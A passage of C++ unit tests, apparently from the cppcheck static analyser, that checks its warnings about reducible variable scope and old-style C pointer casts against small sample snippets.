foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n 